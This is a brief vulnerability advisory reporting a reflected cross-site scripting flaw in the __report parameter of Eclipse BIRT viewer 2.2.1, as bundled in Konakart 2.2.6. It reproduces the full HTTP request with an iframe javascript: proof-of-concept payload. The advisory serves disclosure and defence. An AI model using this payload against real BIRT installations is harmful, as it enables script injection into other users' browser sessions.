Eclipse BIRT <= 2.2.1 Reflected XSS

Vendor: Eclipse Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/ Author: Michele "euronymous" Orrù (euronymous AT antisnatchor DOT com)

Quite a common problem in a lot of Java based applications: reflected XSS in Java stack trace.

A Reflected XSS is present in the _report parameter: here below the modified request (that is the BIRT 2.2.1 version included in Konakart 2.2.6)

GET /birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703171660 HTTP/1.1 Host: localhost:8780 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20081029 Firefox/ Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://localhost:8780/konakartadmin/

Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is actually old.
